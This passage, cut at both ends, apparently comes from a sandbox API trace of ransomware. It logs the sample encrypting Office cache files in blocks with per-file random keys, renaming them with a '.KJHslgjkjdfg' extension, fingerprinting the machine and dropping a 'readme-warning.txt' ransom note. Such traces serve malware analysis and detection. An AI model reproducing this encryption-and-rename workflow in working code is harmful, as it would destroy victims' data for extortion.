lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0154.209] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0154.209] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0154.209] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0154.209] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0154.209] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0154.209] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0154.219] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0154.222] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.222] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0154.223] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2cb214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.223] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0154.223] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0154.223] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0154.238] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0154.240] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.240] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0154.242] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2cb214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.242] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0154.242] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x28b140, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0154.242] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0154.256] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0154.259] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x28b140, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.259] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0154.260] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2cb214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.260] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0154.260] CryptDestroyKey (hKey=0x2f18208) returned 1 [0154.260] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2cb214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.260] SetEndOfFile (hFile=0x124) returned 1 [0154.264] GetProcessHeap () returned 0x2ef0000 [0154.264] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0154.264] GetProcessHeap () returned 0x2ef0000 [0154.264] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0154.264] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.kjhslgjkjdfg")) returned 1 [0154.265] CloseHandle (hObject=0x124) returned 1 [0154.265] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0154.265] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0154.265] GetProcessHeap () returned 0x2ef0000 [0154.265] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0154.265] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0154.265] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0154.265] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0x6, lpOverlapped=0x0) returned 1 [0154.279] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0154.279] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0154.279] GetProcessHeap () returned 0x2ef0000 [0154.279] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0154.279] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30) returned 1 [0154.279] CryptDestroyKey (hKey=0x2f18208) returned 1 [0154.279] WriteFile (in: hFile=0x124, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff4f8*=0x30, lpOverlapped=0x0) returned 1 [0154.279] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0154.279] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0154.279] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0154.280] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0154.280] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0154.280] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0154.280] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0154.280] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.280] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x93a, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x93a, lpOverlapped=0x0) returned 1 [0154.280] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x940, dwBufLen=0x940 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x940) returned 1 [0154.280] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.280] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x940, lpOverlapped=0x0) returned 1 [0154.280] CryptDestroyKey (hKey=0x2f18208) returned 1 [0154.280] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.280] SetEndOfFile (hFile=0x124) returned 1 [0154.283] GetProcessHeap () returned 0x2ef0000 [0154.283] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0154.283] GetProcessHeap () returned 0x2ef0000 [0154.283] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0154.283] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0154.284] CloseHandle (hObject=0x124) returned 1 [0154.284] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0154.284] GetProcessHeap () returned 0x2ef0000 [0154.284] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0154.284] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0154.284] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dff330 | out: pbData=0x2f0c898, pdwDataLen=0x4dff330) returned 1 [0154.284] CryptDestroyKey (hKey=0x2f18208) returned 1 [0154.284] GetProcessHeap () returned 0x2ef0000 [0154.284] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0154.284] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0154.284] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dff330 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dff330) returned 1 [0154.284] CryptDestroyKey (hKey=0x2f18208) returned 1 [0154.285] GetProcessHeap () returned 0x2ef0000 [0154.285] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f3d270 [0154.285] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0154.285] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f3d270, pdwDataLen=0x4dff330 | out: pbData=0x2f3d270, pdwDataLen=0x4dff330) returned 1 [0154.285] CryptDestroyKey (hKey=0x2f18208) returned 1 [0154.285] GetProcessHeap () returned 0x2ef0000 [0154.285] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0154.285] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0154.285] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfef10 | out: pbData=0x2f0c928, pdwDataLen=0x4dfef10) returned 1 [0154.285] CryptDestroyKey (hKey=0x2f18208) returned 1 [0154.285] GetProcessHeap () returned 0x2ef0000 [0154.285] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0154.285] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0154.285] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfef10 | out: pbData=0x2f11778, pdwDataLen=0x4dfef10) returned 1 [0154.285] CryptDestroyKey (hKey=0x2f18208) returned 1 [0154.285] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfef0c | out: phkResult=0x4dfef0c*=0x124) returned 0x0 [0154.286] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfef18, lpcbData=0x4dfef14*=0x400 | out: lpType=0x0, lpData=0x4dfef18*=0x30, lpcbData=0x4dfef14*=0x18) returned 0x0 [0154.286] RegCloseKey (hKey=0x124) returned 0x0 [0154.286] GetProcessHeap () returned 0x2ef0000 [0154.286] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0154.286] GetProcessHeap () returned 0x2ef0000 [0154.286] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0154.286] GetProcessHeap () returned 0x2ef0000 [0154.286] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0154.286] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0154.286] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfece4 | out: pbData=0x2f11778, pdwDataLen=0x4dfece4) returned 1 [0154.286] CryptDestroyKey (hKey=0x2f18208) returned 1 [0154.286] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0154.286] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0154.287] GetProcessHeap () returned 0x2ef0000 [0154.287] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0154.287] wsprintfA (in: param_1=0x4dfef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0154.287] wsprintfA (in: param_1=0x4dff33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0154.287] GetProcessHeap () returned 0x2ef0000 [0154.287] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f3d638 [0154.287] wsprintfW (in: param_1=0x4dfe30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0154.287] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0154.288] WriteFile (in: hFile=0x124, lpBuffer=0x2f3d638*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfe308, lpOverlapped=0x0 | out: lpBuffer=0x2f3d638*, lpNumberOfBytesWritten=0x4dfe308*=0x3b3, lpOverlapped=0x0) returned 1 [0154.288] CloseHandle (hObject=0x124) returned 1 [0154.292] GetProcessHeap () returned 0x2ef0000 [0154.293] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d270 | out: hHeap=0x2ef0000) returned 1 [0154.293] GetProcessHeap () returned 0x2ef0000 [0154.293] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d638 | out: hHeap=0x2ef0000) returned 1 [0154.293] GetProcessHeap () returned 0x2ef0000 [0154.293] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0154.293] GetProcessHeap () returned 0x2ef0000 [0154.293] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0154.293] FindClose (in: hFindFile=0x2f181c8 | out: hFindFile=0x2f181c8) returned 1 [0154.293] GetProcessHeap () returned 0x2ef0000 [0154.293] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16bd8 | out: hHeap=0x2ef0000) returned 1 [0154.293] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="{91454~1")) returned 1 [0154.293] GetProcessHeap () returned 0x2ef0000 [0154.293] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8e) returned 0x2f14588 [0154.293] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f181c8 [0154.299] GetProcessHeap () returned 0x2ef0000 [0154.299] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0154.299] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0154.299] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InfLR.cab", cAlternateFileName="")) returned 1 [0154.299] GetProcessHeap () returned 0x2ef0000 [0154.299] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x290) returned 0x2f16bd8 [0154.300] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0154.300] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=18874884) returned 1 [0154.300] GetProcessHeap () returned 0x2ef0000 [0154.300] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0154.300] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0154.300] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.300] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f4*=0xc, lpOverlapped=0x0) returned 1 [0154.390] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0154.390] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0154.390] GetProcessHeap () returned 0x2ef0000 [0154.390] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0154.390] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff4d8*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff4d8*=0x30) returned 1 [0154.390] CryptDestroyKey (hKey=0x2f18208) returned 1 [0154.390] WriteFile (in: hFile=0x124, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff4f4*=0x30, lpOverlapped=0x0) returned 1 [0154.390] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: 